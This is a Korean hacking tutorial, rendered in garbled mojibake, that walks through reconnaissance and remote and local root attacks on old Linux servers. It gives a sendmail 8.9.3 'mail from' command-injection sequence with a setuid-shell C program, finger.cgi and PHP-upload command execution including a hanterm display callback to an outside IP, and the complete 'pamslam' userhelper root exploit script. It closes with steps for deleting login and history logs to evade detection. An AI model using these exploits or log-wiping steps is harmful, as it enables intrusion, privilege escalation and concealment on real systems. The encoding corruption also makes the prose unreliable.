[ *.tar.gz ÇüÅ·ΠµÈ ÆÄÀÏÀÇ ¾ÐÃàÀ»
ÇØÁ¦ ½ÃÅ°´Â Àå¸é ]
À§¿Í °°ÀÌ *.tar.gz ÆÄÀÏÀº ¸ÕÀú tar·Î
ÇØÁ¦½ÃŲ ÈÄ ´Ù½Ã ÀÏ¹Ý ÆÄÀÏ·Î ÇØÁ¦½ÃÄÑ ÁÖ¾î¾ß ÇÕ´Ï´Ù. ¶Ç À§ÀÇ °úÁ¤Àº
tarÀÇ z ¿É¼ÇÀ¸·Î Çѹø¿¡ ÇØ°áÇÒ ¼öµµ ÀÖ½À´Ï´Ù.
[ Çѹø¿¡ *.tar.gz ÆÄÀÏÀ» ÇØÁ¦½ÃÅ°´Â
¸ð½À ]
ASCANÀÇ ½ÇÇà
ASCANÀ» »ç¿ëÇÏ¿© Æ÷Æ® ½ºÄµÀ» ÇÏ´Â
¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù.
[ ASCANÀÇ »ç¿ë ¹æ¹ý ]
»ùÇÃ12 µÎ±ÙµÎ±Ù ½ÇÁ¤ ÇØÅ·
¹®ÀÌ ¸î °³³ª ÀÖ³ª.. - Á¤º¸ ¼öÁý
¸ðµç ¼¹ö°¡ ¶È°°Àº ¹æ¹ýÀ¸·Î ÇØÅ·
µÇÁö ¾Ê´Â´Ù´Â °Í Á¤µµ´Â ¸»ÇÏÁö ¾Ê¾Æµµ ¾Ë °ÍÀÔ´Ï´Ù. º¸¾ÈÀÌ Ã¶ÀúÇÑ
¼¹ö°¡ ÀÖ´Â ¹Ý¸é, ¾Æ¿¹ º¸¾È ÂÊÀ¸·Ð ½Å°æµµ ¾È ¾²´Â ¼¹öµµ ÀÖ½À´Ï´Ù.
ÇØÅ·ÀÇ Á¦ 1´Ü°èÀÎ Á¤º¸ ¼öÁýÀº ¹Ù·Î ÇØ´ç ¼¹ö(¼¹ö °ü¸®ÀÚ)°¡ º¸¾È¿¡
¾î´À Á¤µµ °ü½ÉÀÌ ÀÖ´ÂÁö¸¦ ¾Ë¾Æ³»´Â °úÁ¤ÀÔ´Ï´Ù.
Æ÷Æ® ½ºÄ³´×
¾Õ¼ ¹è¿î ¸¹Àº Á¾·ùÀÇ Æ÷Æ® ½ºÄ³³Ê
Áß ¸¶À½¿¡ µå´Â °ÍÀ» Çϳª °ñ¶ó hackerschool.org¸¦ ½ºÄµÇØ º¾½Ã´Ù.
[ nmapÀ» »ç¿ëÇÏ¿© hackerschool.org¸¦
½ºÄµÇÑ ¸ð½À ]
°á°ú¸¦ º¸¸é 21, 23, 25, 80, 110
µîÀÇ ¼ºñ½º¿¡ ²À ÇÊ¿äÇÑ Æ÷Æ®¸¸ ¿·ÁÀÖ½À´Ï´Ù. µû¶ó¼ ÀÌ¿Í °°Àº ¼¹ö´Â
¾î´À Á¤µµ º¸¾È °ü¸®°¡ µÇ¾îÀÖ´Â °÷À̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.
¹Ý¸é¿¡ ´ÙÀ½ÀÇ ¼¹ö¸¦ º¾½Ã´Ù.
[ º¸¾È °ü¸®°¡ Á¦´ë·Î µÇ¾îÀÖÁö ¾ÊÀº
¼¹ö ]
ÀüÇô ¾µµ¥°¡ ¾ø´Â Æ÷Æ®µéÀÌ ¸¹ÀÌ ¿·ÁÀÖ´Â
°ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. µû¶ó¼ ÀÌ°÷ÀÇ °ü¸®ÀÚ´Â ¼¹ö °ü¸®¿¡ °ü½ÉÀÌ
¾ø°Å³ª ½Ç·ÂÀÌ ¾ø´Â °Í µÑ Áß ÇϳªÀÏ °ÍÀÔ´Ï´Ù.
»ùÇÃ13 µÎ±ÙµÎ±Ù ½ÇÀü ÇØÅ· - µ¥¸óÀÇ
¹öÀü È®ÀÎ
Æ÷Æ®°¡ ¿·Á ÀÖ´Ù´Â °ÍÀº ±×°÷¿¡ ÇÁ·Î±×·¥ÀÌ
ÀÛµ¿ ÁßÀ̶ó´Â ¾ê±âÀÔ´Ï´Ù.
µû¶ó¼ ÀÌÁ¦ ÇؾßÇÒ ÀÏÀº Æ÷Æ®¿¡ Çϳª
Çϳª¾¿ Á÷Á¢ Á¢¼ÓÇÏ¿© ÇÁ·Î±×·¥°ú ±×°ÍÀÇ ¹öÀüÀ» È®ÀÎÇÏ´Â °ÍÀÔ´Ï´Ù.
[ telnetÀ» »ç¿ëÇÏ¿© 21¹ø Æ÷Æ®¿¡
Á¢¼Ó ]
2.6.0 ¹öÀüÀÇ wu_ftp ÇÁ·Î±×·¥À» »ç¿ëÇÏ°í
ÀÖ´Ù´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
Âü°í·Î ÀÌ ¹öÀü¿£ ¿ÜºÎ¿¡¼ ·çÆ®¸¦
ȹµæÇÒ ¼ö ÀÖ´Â ¹ö±×°¡ Á¸ÀçÇÕ´Ï´Ù. ¿©±â¼ ´Ù½Ã Çѹø ÀÌ ¼¹öÀÇ °ü¸®ÀÚ°¡
¾ó¸¶³ª º¸¾È ÀǽÄÀÌ ¾ø´ÂÁö¸¦ ¾Ë ¼ö ÀÖ½À´Ï´Ù.
À̹ø¿£ 23¹ø Æ÷Æ®¿¡ Á¢¼ÓÇØ º¾½Ã´Ù.
[ 23¹ø Æ÷Æ®¿¡ Á¢¼Ó ]
¸®´ª½º ¹öÀüÀÌ ±×´ë·Î ³ëÃâµÇ¾î ÀÖ½À´Ï´Ù.
ÀÌ·± °Ç /etc/issue.netÀ» ÆíÁýÇؼ ¼û°Ü ÁÖ¾î¾ß ÇÕ´Ï´Ù.
À̹ø¿£ ¶Ç 25¹ø Æ÷Æ®¿¡ Á¢¼ÓÇØ º¾½Ã´Ù.
[ 25¹ø Æ÷Æ®¿¡ Á¢¼Ó ]
25¹ø Æ÷Æ®¿£ ¸ÞÀÏ ¼¹ö°¡ ÀÛµ¿ ÁßÀÔ´Ï´Ù.
ÇÁ·Î±×·¥Àº sendmail 8.9.3À¸·Î ºñ±³Àû ÃֽŠ¹öÀüÀ̱ä Çϳª ¿ª½Ã ¹ö±×¸¦
°¡Áö°í ÀÖ´Â °ÍÀº ¸¶Âù°¡ÁöÀÔ´Ï´Ù.
53¹ø Æ÷Æ®¿¡´Â bind¶ó´Â ÇÁ·Î±×·¥ÀÌ
ÀÛµ¿ ÁßÀε¥, ÀÌ°ÍÀº ÅÚ³Ý Á¢¼ÓÀ¸·Î ¹öÀüÀ» È®ÀÎÇÒ ¼ö ¾ø°í, dig¶ó´Â
¸í·ÉÀ» »ç¿ëÇØ¾ß ÇÕ´Ï´Ù.
[ bind ÇÁ·Î±×·¥ÀÇ ¹öÀü È®ÀÎ ]
8.2.1 ¹öÀüÀÇ bind ÇÁ·Î±×·¥À» »ç¿ëÇÏ°í
ÀÖÀ¸¸ç, ¿ª½Ã °ü¸®ÀÚ´Â ÀÌ ÇÁ·Î±×·¥¿¡µµ ¿ÜºÎ¿¡¼ ·çÆ®¸¦ ȹµæÇÒ ¼ö
ÀÖ´Â ¹ö±×°¡ Á¸ÀçÇÑ´Ù´Â »ç½ÇÀ» ¸ð¸£°í ÀÖ´Â µí ÇÕ´Ï´Ù.
79¹ø Æ÷Æ®ÀÇ finger ÇÁ·Î±×·¥¿¡´Â
Ưº°ÇÑ ¹ö±×´Â ¾øÀ¸³ª, ¿ÜºÎ¿¡¼ ³»ºÎ ÀÌ¿ëÀÚµéÀÇ Á¤º¸¸¦ ij³¾ ¼ö ÀÖ´Ù´Â
´ÜÁ¡À» °¡Áö°í ÀÖ½À´Ï´Ù.
[ finger Æ÷Æ®¸¦ ÀÌ¿ëÇÏ¿© ³»ºÎ »ç¿ëÀÚÀÇ
Á¤º¸¸¦ ij³½ ¸ð½À ]
±× ¿Ü 80¹ø, 110¹ø Æ÷Æ®¿¡µµ ¹ö±×°¡
ÀÖÀ» È®·üÀÌ »ó´çÈ÷ ³ô°í, 513, 514¹ø Æ÷Æ®´Â ¹éµµ¾î·Î ¾Ç¿ëµÉ ¼ö ÀÖ½À´Ï´Ù.
ÀÌó·³ Á¤º¸ ¼öÁýÀÇ °á°ú¸¸ º¸°íµµ
ÇØ´ç ¼¹ö°¡ ÇØÅ· °¡´ÉÇÑÁö ¾Æ´ÑÁö¸¦ ÆÇ°¡¸§ ÇÒ ¼ö ÀְԵ˴ϴÙ. ÀÌÁ¦
±× °á°ú¸¦ Åä´ë·Î ¸®¸ðÆ® ¾îÅÃÀ» ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ÀÚ¼¼ÇÏ°Ô ¹è¿öº¾½Ã´Ù.
»ùÇÃ14 - ¸®¸ðÆ® ÇØÅ· - 25¹ø Æ÷Æ®¸¦
ÀÌ¿ëÇÏ¿© °ø°ÝÇÏ´Â ¹æ¹ý
25¹ø Æ÷Æ®¿¡´Â ¸ÞÀÏÀ» º¸³¾ ¶§ »ç¿ëÇÏ´Â
¸ÞÀÏ ¼¹ö°¡ ÀÖ°í, °ÅÀÇ ¸ðµç ¼¹ö°¡ sendmail ÇÁ·Î±×·¥À» »ç¿ëÇÕ´Ï´Ù.
ÀÌ sendmail ÇÁ·Î±×·¥Àº ´ëºÎºÐ root ±ÇÇÑÀ¸·Î ÀÛµ¿Çϱ⠶§¹®¿¡ ÀÌ°ÍÀ»
ÀÌ¿ëÇÑ remote attack¿¡ ¼º°øÇϸé Çѹø¿¡ root ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ°Ô
µË´Ï´Ù.
EXPN ¹ö±×
ÀÌ°ÍÀº ½©À» ȹµæÇÏ´Â °ÍÀÌ ¾Æ´Ñ ³»ºÎ
»ç¿ëÀÚÀÇ Á¤º¸¸¦ ij³»´Â °íÀüÀûÀÎ ¹ö±×ÀÔ´Ï´Ù.
ÇØÅ· ÇÏ°íÀÚ ÇÏ´Â ´ë»óÀ» ¼³Á¤ÇßÀ»
¶§ ±×°÷¿¡ ¾î¶² ¾î¶² °èÁ¤ÀÌ Á¸ÀçÇÏ´ÂÁö ¾Ë ¼ö ÀÖ´Ù¸é ¸Å¿ì Å« µµ¿òÀÌ
µÉ °ÍÀÔ´Ï´Ù. ÇØ´ç °èÁ¤ÀÇ ºñ¹Ð¹øÈ£¸¦ ÃßÃøÇÏ¿© Á¢¼Ó¿¡ ¼º°øÇÒ °æ¿ìµµ
ÀÖÀ» °ÍÀÌ°í, http://target.com/~°èÁ¤¸í °ú °°Àº ½ÄÀ¸·Î Á¢¼ÓÀ» ½ÃµµÇÏ¿©
nobody ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ´Â hole ÀÌ Á¸ÀçÇÏ´ÂÁö¸¦ »ìÆ캼 ¼öµµ ÀÖÀ»
Å×´Ï ¸»ÀÔ´Ï´Ù. ÈçÈ÷ ¿ì¸®°¡ º¼ ¼ö ÀÖ´Â bbs³ª À¥ »ó¿¡¼ÀÇ ·Î±×ÀÎ °úÁ¤À»
º¸¸é Á¸ÀçÇÏÁö ¾Ê´Â ¾ÆÀ̵𸦠ÀÔ·ÂÇßÀ» ¶§ "ÇØ´ç ¾ÆÀ̵ð´Â Á¸ÀçÇÏÁö
¾Ê½À´Ï´Ù." ¿Í °°Àº Ä£ÀýÇÑ ¸Þ¼¼Áö°¡ Ãâ·ÂµÇÁö¸¸ ¸®´ª½ºÀÇ ÅÚ³Ý
¼¹öÀÇ °æ¿ì¿¡´Â ÀÔ·ÂÇÑ ¾ÆÀ̵𰡠Á¸ÀçÇÏ´ø, ÇÏÁö ¾Ê´ø °£¿¡ ¹«Á¶°Ç
"Login incorrect" ¶ó°í ¸¸ ³ªÅ¸³ª ¹ö¸³´Ï´Ù.
[ bbs - ÇØ´ç ¾ÆÀ̵𰡠¾øÀ» ¶© ±×°ÍÀ»
¾Ë·ÁÁØ´Ù. ]
[ telnet-ÇØ´ç¾ÆÀ̵ðÀÇ Á¸Àç¿©ºÎ¿¡
°ü°è¾øÀÌ µ¿Àϸ޼¼Áö°¡ Ãâ·ÂµÈ´Ù ]
¸¸¾à ÇØ´ç ¼¹ö¿¡¼ ¾î¶°ÇÑ remote
»óÀÇ hole µµ ¹ß°ßÇÏÁö ¸øÇؼ °á±¹ telnet ¼¹ö¸¦ ´ë»óÀ¸·Î ¹«Â÷º°
´ëÀÔÀ» ½ÃµµÇÑ´Ù°í Çغ¾½Ã´Ù. ±×·³ ÇØ´ç ¼¹ö¿¡ Á¸ÀçÇÏ´Â °èÁ¤ ¸íÀ»
¾Ë ¶§¿Í ±×·¸Áö ¾ÊÀ» ¶§ÀÇ Â÷ÀÌ´Â ¾öû³¯ °ÍÀÔ´Ï´Ù. ÀÌÁ¦ ¼³¸í ÇÒ expn
¹ö±×´Â ÇØ´çÇÏ´Â °èÁ¤ÀÌ °ú¿¬ ÀÌ ¼¹ö¿¡ Á¸ÀçÇÏ´ÂÁöÀÇ ¿©ºÎ¸¦ ½±°Ô ¾Ë¾Æº¼
¼ö ÀÖ°Ô ÇØÁÖ´Â °ÍÀÔ´Ï´Ù. ±×¸®°í ÀÌ°ÍÀº 25¹ø Æ÷Æ®ÀÇ sendmail ÇÁ·Î±×·¥
»óÀÇ ¹ö±×À̸ç ÇöÀç±îÁö ¹èÆ÷µÈ ¸ðµç ¹öÁ¯¿¡ Á¸ÀçÇÕ´Ï´Ù.
expn ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© ÇØ´ç °èÁ¤ÀÇ
À¯¹«¸¦ È®ÀÎÇÏ´Â ¹æ¹ý
ÀÏ´Ü Å¸°Ù ¼¹öÀÇ 25¹ø Æ÷Æ®¿¡ Á¢¼ÓÀ»
ÇÕ´Ï´Ù.
Áß°£ »ý·«...
»ùÇà 15 ¸®¸ðÆ® ÇØÅ· - sendmail 8.9.3
¹ö±×¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹
ÀÏ´Ü °èÁ¤À» °¡Áö°í ÀÖ´Â »óÅ¿¡¼
sendmail 8.9.3ÀÇ ¹ö±×¸¦ ÀÌ¿ëÇØ root ±ÇÇÑÀ» ¾ò´Â ¹æ¹ýÀ» ¹è¿öº¾½Ã´Ù.
1. ÇØ´ç ¼¹ö Á¢¼Ó
2. /tmp µð·ºÅ丮¿¡ ´ÙÀ½°ú °°Àº ÇÁ·Î±×·¥
Á¦ÀÛ
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
system(
"cp /bin/sh /tmp/sh" );
system(
"chmod +s /tmp/sh" );
}
3. hack À̶ó´Â À̸§À¸·Î ÄÄÆÄÀÏ
4. ¿ÜºÎ¿¡¼ 25¹ø Æ÷Æ®·Î Á¢¼Ó
5. helo x ÀÔ·Â
6. mail from: ;/tmp/hack;@test.com
ÀÔ·Â
-> ÀÌ ºÎºÐÀÌ Áß¿äÇÕ´Ï´Ù. ¿ø·¡´Â
mail from: ilchuks@hanmail.net °ú °°Àº ½ÄÀ¸·Î º¸³»´Â »ç¶÷ÀÇ ¸ÞÀÏ
ÁÖ¼Ò¸¦ ÁöÁ¤ÇØ ÁÖ´Â ºÎºÐÀε¥, À§¿Í °°ÀÌ ";" ¸¦ »ç¿ëÇÏ¿©
¿øÇÏ´Â ½© ¸í·ÉÀ» ½ÇÇà½Ãų ¼ö ÀÖ½À´Ï´Ù.
7. rcpt to: ftp ÀÔ·Â
8. data ÀÔ·Â
9. . ÀÔ·Â
10. quit ÀÔ·Â
ÀÌÁ¦ sendmailÀÇ ¹ö±×·Î ÀÎÇØ /tmp/hack
ÇÁ·Î±×·¥ÀÌ rootÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàÀÌ µÆÀ» Å×°í, ¶Ç ±× ÇÁ·Î±×·¥¿¡ ÀÇÇØ
½©ÀÌ /tmp ¹ØÀ¸·Î º¹»ç µÈ ´ÙÀ½ÀÇ root ±ÇÇÑÀÇ setuid°¡ °É¸®°Ô µÉ °ÍÀÔ´Ï´Ù.
[ root ±ÇÇÑ È¹µæ ]
ÀÌó·³ mail from ¿¡ ";"¸¦
ÀÌ¿ëÇÏ¿© ½© ¸í·É¾î¸¦ ÀÔ·ÂÇÏ¸é ±×°ÍÀÌ ½ÇÇàÀÌ µÇ´Â °ÍÀÌ sendmail 8.9.3
ÇÁ·Î±×·¥ÀÇ ¹ö±×ÀÔ´Ï´Ù. ¿©±â¼ °èÁ¤À» °¡Áö°í ÀÖÁö ¾ÊÀº »óÅ¿¡¼ °ø°ÝÇÏ´Â
¹æ¹ýÀ» º¸¿©ÁÖÁö ¾ÊÀº °ÍÀº ±×·¸°Ô ÇÏ´Â °Í¿¡ ÇÑ°¡Áö ¹®Á¦Á¡ÀÌ ÀÖ±â
¶§¹®ÀÔ´Ï´Ù. ´ÙÀ½À» º¾½Ã´Ù.
ÀÌ¿Í °°ÀÌ ½ÇÇàÇÏ°íÀÚ ÇÏ´Â ¸í·É¿¡
½ºÆäÀ̽º(' ') °¡ µé¾î°¡ ÀÖÀ¸¸é mail from ¸í·É¿¡ ¿¡·¯°¡ »ý±â±â ¶§¹®ÀÔ´Ï´Ù.
ÇÊÀÚ´Â ÀÌ ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ µû¿ÈÇ¥("") »çÀÌ¿¡ ¸í·ÉÀ»
³Ö¾îº¸±âµµ Çß°í, ½ºÆäÀ̽º ´ë½Å %40, \x40, \040, %09 µîÀÇ ¹®ÀÚ¸¦
»ç¿ëÇØ º¸±âµµ Çß½À´Ï´Ù. ÇÏÁö¸¸ °á°ú´Â ¸ðµÎ ¸¶Âù°¡Áö¿´´Ù. ±×·¯´ø
µµÁß °á±¹ »ý°¢ÇØ ³½ °ÍÀº ¹Ù·Î ÀÌ°ÍÀÔ´Ï´Ù.
Áß°£ »ý·«..
»ùÇÃ16 - ¸®¸ðÆ® ÇØÅ· - cgi¸¦ ÅëÇÑ
ÇØÅ·ÀÇ ½Ç ¿¹
´ÙÀ½Àº Ãë¾àÁ¡ÀÌ ÀÖ´Â finger.cgi¸¦
ÅëÇؼ ¿øÇÏ´Â ¸í·ÉÀ» À¥ »ó¿¡¼ ½ÇÇàÇÏ´Â ¸ð½ÀÀÔ´Ï´Ù. ½ÇÁ¦ ftz.hackerschool.org
¼¹ö¿¡ Á¢¼ÓÇÏ¿© µû¶óÇØ º¼ ¼ö ÀÖ½À´Ï´Ù.
Á¤»óÀûÀÎ finger.cgi »ç¿ë
[
finger ½ÇÇà ]
[
finger °á°ú ]
; ¹®ÀÚ¸¦ ÇÊÅ͸µÇÏÁö ¾Ê¾Æ »ý±â´Â
¹®Á¦Á¡
[
; °ú ÇÔ²² ¿øÇÏ´Â ¸í·É ÀÔ·Â ]
[
½ÇÇà °á°ú ]
ÀÌ·± ½ÄÀ¸·Î À¥ »ó¿¡¼ Æнº¿öµå ÆÄÀÏÀ»
¿¾îº¼ ¼öµµ ÀÖÀ¸¸ç..
ÇÑÅÒÀ» ¶ç¿ö local °èÁ¤À» ȹµæÇÒ
¼öµµ ÀÖ½À´Ï´Ù. ±ÇÇÑÀº nobodyÀÔ´Ï´Ù.
»ùÇà 17 - ¸®¸ðÆ® ÇØÅ· - php ÆÄÀÏ
¾÷·Îµå Ãë¾àÁ¡ÀÇ ½Ç ¿¹
ÀÌÁ¦ php ÇØÅ·À» À§ÇÑ Áغñ´Â ³¡³µ½À´Ï´Ù.
´ÙÀ½Àº ½ÇÁ¦ php¸¦ »ç¿ëÇÑ ÇØÅ·ÀÇ ¿¹ÀÔ´Ï´Ù. ¿ª½Ã ¿©·¯ºÐÀÇ ÄÄÇ»ÅÍ¿¡¼
¶È°°ÀÌ µû¶óÇØ º¼ ¼ö ÀÖ½À´Ï´Ù.
1. php ÆÄÀÏ ÀÛ¼º
¸Þ¸ðÀåÀ» ¿°í ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÑ
ÈÄ ÀúÀåÇÕ´Ï´Ù.
2. Ž»ö±â¸¦ ÀÌ¿ëÇÏ¿© ÀúÀåµÈ ÆÄÀÏÀÇ
À̸§À» .txt ¿¡¼ .php ·Î ¹Ù²ãÁÝ´Ï´Ù.
->
3. http://ftz.hackerschool.org/~realhack
Á¢¼Ó
4. ÀÛ¼ºÇÑ php ÆÄÀÏ ¾÷·Îµå
5. ÀÌÁ¦ ÷ºÎµÈ ÆÄÀÏÀ» Ŭ¸¯Çϸé Æнº¿öµå
ÆÄÀÏÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
¸¸¾à cat /etc/passwd ´ë½Å hanterm
-display IP:0.0 À̶ó´Â ¸í·ÉÀ» ³ÖÀ¸¸é nobody ±ÇÇÑÀÇ ·ÎÄà °èÁ¤À» ¾òÀ»
¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. hantermÀ» ¶ç¿ì±â Àü¿£ ¹°·Ð xmanager°¡ ½ÇÇàµÇ¾î
ÀÖ¾î¾ß ÇÕ´Ï´Ù.
php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÇ ÀÀ¿ë
php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÌ ¸¹ÀÌ ¾Ë·ÁÁö¸é¼
ÀÌ°ÍÀ» ¹æ¾îÇÏ´Â °Ô½ÃÆÇÀÌ Çϳª¾¿ ³ªÅ¸³ª±â ½ÃÀÛÇß½À´Ï´Ù. À̹ø¿£ ¹æ¾î°¡
µÇ¾îÀÖ´Â °Ô½ÃÆÇÀ» °ø°ÝÇÏ´Â ¹æ¹ý¿¡ ´ëÇؼ ¹è¿öº¾½Ã´Ù.
Áß°£»ý·«...
»ùÇÃ18 ·ÎÄÃ ÇØÅ·
/usr/sbin/userhelper ÆÄÀÏÀ»
ÀÌ¿ëÇÑ ·çÆ® ȹµæ
¼³¸í º¸¾È»ó
¿Ïº®ÇÒ ÁÙ¸¸ ¾Ë¾Ò´ø ·¹µåÇò 6.0ÀÌ ¹èÆ÷µÈ ÈÄ Ã³À½À¸·Î ¹ß°ßµÇ¾î Å«
À̽´°¡ µÇ¾ú´ø ¹ö±×ÀÔ´Ï´Ù. ÀÌ°ÍÀº root ±ÇÇÑÀÇ setuid°¡ °É¸° userhelper
ÇÁ·Î±×·¥°ú ÀåÂø¹æ½Ä ÀÎÁõ ¸ðµâ(PAM) ±×¸®°í ÇÑ ´Ü°è »óÀ§
µð·ºÅ丮¸¦
ÀǹÌÇÏ´Â ".." ¹®ÀÚ¿¡ °ü·ÃµÇ¾î ±¸ÇöµË´Ï´Ù. userhelper ÇÁ·Î±×·¥¿¡´Â
-w ¶ó´Â PAM °ü·Ã ÆÄÀÏÀ» µ¿½Ã¿¡ ½ÇÇà½ÃÅ°´Â ¿É¼ÇÀÌ Àִµ¥, ÀÌ°ÍÀº
¿ÀÁ÷ /etc/security/console.apps µð·ºÅ丮 ¾ÈÀÇ ÆÄÀϸ¸ Àû¿ëµÇ°Ô²û ±âº»À¸·Î ¼³Á¤µÇ¾îÀÖ½À´Ï´Ù.
ÇÏÁö¸¸ µð·ºÅ丮¸¦ Á¤ÀÇÇÏ´Â °úÁ¤¿¡¼
ÀÌ
ÇÁ·Î±×·¥Àº strcat() ÇÔ¼ö¸¦ »ç¿ëÇϱ⠶§¹®¿¡ Æнº¸íÀ» ../../../../xxx
¿Í °°ÀÌ ÀÔ·ÂÇØ ÁÖ¸é À§ÀÇ µð·ºÅ丮¸¦ ¹þ¾î³ª ¿øÇÏ´Â ¾î¶²
ÆÄÀϵµ ½ÇÇàÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. µû¶ó¼ ¹éµµ¾î¸¦ »ý¼ºÇÏ´Â ÇÁ·Î±×·¥À»
¹Ì¸® Á¦ÀÛÇÑ ÈÄ userhelper ¸í·ÉÀ» ÀÌ¿ëÇØ ±×°ÍÀ» root ±ÇÇÑÀ¸·Î
½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÕ´Ï´Ù.
´ë»ó MandrakeSoft
Linux Mandrake 6.1 MandrakeSoft
Linux Mandrake 6.0 RedHat
Linux 6.1 i386 RedHat
Linux 6.0 i386 TurboLinux
Turbo Linux 6.0.2 TurboLinux
Turbo Linux 4.4 TurboLinux
Turbo Linux 4.2 TurboLinux
Turbo Linux 3.5b2
Á¶°Ç pam-0.68-10.i386.rpm
¹Ì¸¸ usermode-1.17-1.i386.rpm
¹Ì¸¸
exploit
#!/bin/sh
#
# pamslam - vulnerability in Redhat
Linux 6.1 and PAM pam_start
# found by dildog@l0pht.com
#
# synopsis:
# both 'pam' and
'userhelper' (a setuid binary that comes with the
# 'usermode-1.15'
rpm) follow .. paths. Since pam_start calls down to
# _pam_add_handler(),
we can get it to dlopen any file on disk. 'userhelper'
# being setuid
means we can get root.
#
# fix:
# No fuckin idea
for a good fix. Get rid of the .. paths in userhelper
# for a quick
fix. Remember 'strcat' isn't a very good way of confining
# a path to a
particular subdirectory.
#
# props to my mommy and daddy, cuz
they made me drink my milk.
cat > _pamslam.c << EOF
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
void _init(void)
{
setuid(geteuid());
system("/bin/sh");
}
EOF
echo -n .
echo -e auth\\trequired\\t$PWD/_pamslam.so
> _pamslam.conf
chmod 755 _pamslam.conf
echo -n .
gcc -fPIC -o _pamslam.o -c _pamslam.c
echo -n o
ld -shared -o _pamslam.so _pamslam.o
echo -n o
chmod 755 _pamslam.so
echo -n O
rm _pamslam.c
rm _pamslam.o
echo O
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf
sleep 1s
rm _pamslam.so
rm _pamslam.conf
°ø°Ý ¿¹
userhelper ÇÁ·Î±×·¥¿¡ setuid bit¸¦
È®ÀÎ
¹ö±×°¡ ÀÖ´Â ÆÐÅ°ÁöÀÎÁö ¹öÁ¯À» È®ÀÎ
exploit Áغñ
exploit ½ÇÇà
»ùÇà 19 ÇØÅ· ÈçÀûÁö¿ì±â
root ±ÇÇÑÀ» ¾ò´Âµ¥ ¼º°øÇß´Ù¸é ÀÌÁ¦
´ÙÀ½ ´Ü°è´Â ·Î±× ±â·ÏÀ» Áö¿ì´Â °ÍÀÔ´Ï´Ù. ¸®´ª½º´Â ¸ðµç ¿ÜºÎ·ÎºÎÅÍÀÇ
Á¢¼ÓÀ» ÆÄÀÏ¿¡ ÀúÀåÇϱ⠶§¹®¿¡, ³ªÁß¿¡¶óµµ ÃßÀûÀÌ °¡´ÉÇϱ⠶§¹®ÀÔ´Ï´Ù.
¿©±â¿¡¼± ¾î´À ÆÄÀÏ¿¡ ¾î¶² ±â·ÏÀÌ ÀúÀåµÇ°í ±×°ÍÀ» »èÁ¦ÇÏ´Â ¹æ¹ýÀº
¹«¾ùÀÎÁö¿¡ ´ëÇؼ ¹è¿öº¸°Ú½À´Ï´Ù. ÇÏÁö¸¸ ¹Ì¸® ¸»ÇßµíÀÌ ÀÌ ÈçÀû Áö¿ì±â¿¡
¼º°øÇß´Ù°í ¾È½ÉÇؼ± ¾È µË´Ï´Ù. ¸¸¾à ½Ç½Ã°£À¸·Î ·Î±× ±â·ÏÀ» ÀμâÇϰųª
´Ù¸¥ ¼¹ö·Î º¸³»¹ö¸®´Â ÀåÄ¡°¡ ÀÖ´Ù¸é ±×°ÍÀº »èÁ¦°¡ ºÒ°¡´É ÇÒ Å״ϱî¿ä...
·Î±× ±â·ÏÀÌ ÀúÀåµÇ´Â ÆÄÀϵé
/var/run/utmp
- ÇöÀç ·Î±×ÀÎ µÇ¾îÀÖ´Â »ç¿ëÀÚÀÇ
Á¤º¸¸¦ ±â·ÏÇÕ´Ï´Ù. ¿ì¸®°¡ w ¸í·ÉÀ» ÀÔ·ÂÇßÀ» ¶§ ÀоîµéÀÌ´Â
ÆÄÀÏÀÔ´Ï´Ù.
/var/log/wtmp
- »ç¿ëÀÚµéÀÇ ·Î±×ÀÎ, ·Î±×¾Æ¿ô Á¢¼ÓÀ»
±â·ÏÇÕ´Ï´Ù. last ¸í·ÉÀ¸·Î ³»¿ëÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
/var/log/lastlog
- »ç¿ëÀÚµéÀÇ ¸¶Áö¸· Á¢¼Ó ½Ã°£À»
±â·ÏÇÕ´Ï´Ù.
/var/log/secure
- ¾îµð¼ ¾î¶² »ç¿ëÀÚ°¡ login Çß´ÂÁö¸¦
ÅؽºÆ®·Î ±â·ÏÇÕ´Ï´Ù.
/var/log/httpd/access_log
- À¥ »ó¿¡¼ÀÇ ÆÄÀÏ Á¢±ÙÀ» ÅؽºÆ®·Î
±â·ÏÇÕ´Ï´Ù.
~/.bash_history
- ÇØ´ç »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ ½© ¸í·ÉµéÀ»
ÅؽºÆ®·Î ±â·ÏÇÕ´Ï´Ù.
·Î±× ±â·ÏÀÇ »èÁ¦
·Î±× ±â·ÏÀ» »èÁ¦ÇÏ´Â °¡Àå °£´ÜÇÑ
¹æ¹ýÀº ´Ü¼øÈ÷ ÇØ´ç ÆÄÀÏÀ» Áö¿ö¹ö¸®´Â °ÍÀÔ´Ï´Ù.
ÇØ´ç ÆÄÀÏÀ» »èÁ¦ÇÑ ´ÙÀ½¿¡´Â °ü¸®ÀÚ°¡
´«Ä¡Ã¤Áö ¸øÇϵµ·Ï ´Ù½Ã ±× ÆÄÀÏÀ» ¸¸µé¾î ÁÝ´Ï´Ù.
À̹ø¿£ last¿¡ ³ª¿À´Â ±â·ÏÀ» ¾ø¾Öº¾½Ã´Ù.
[ wtmp¿¡ ÀúÀåµÈ Á¢¼Ó ±â·Ï ]
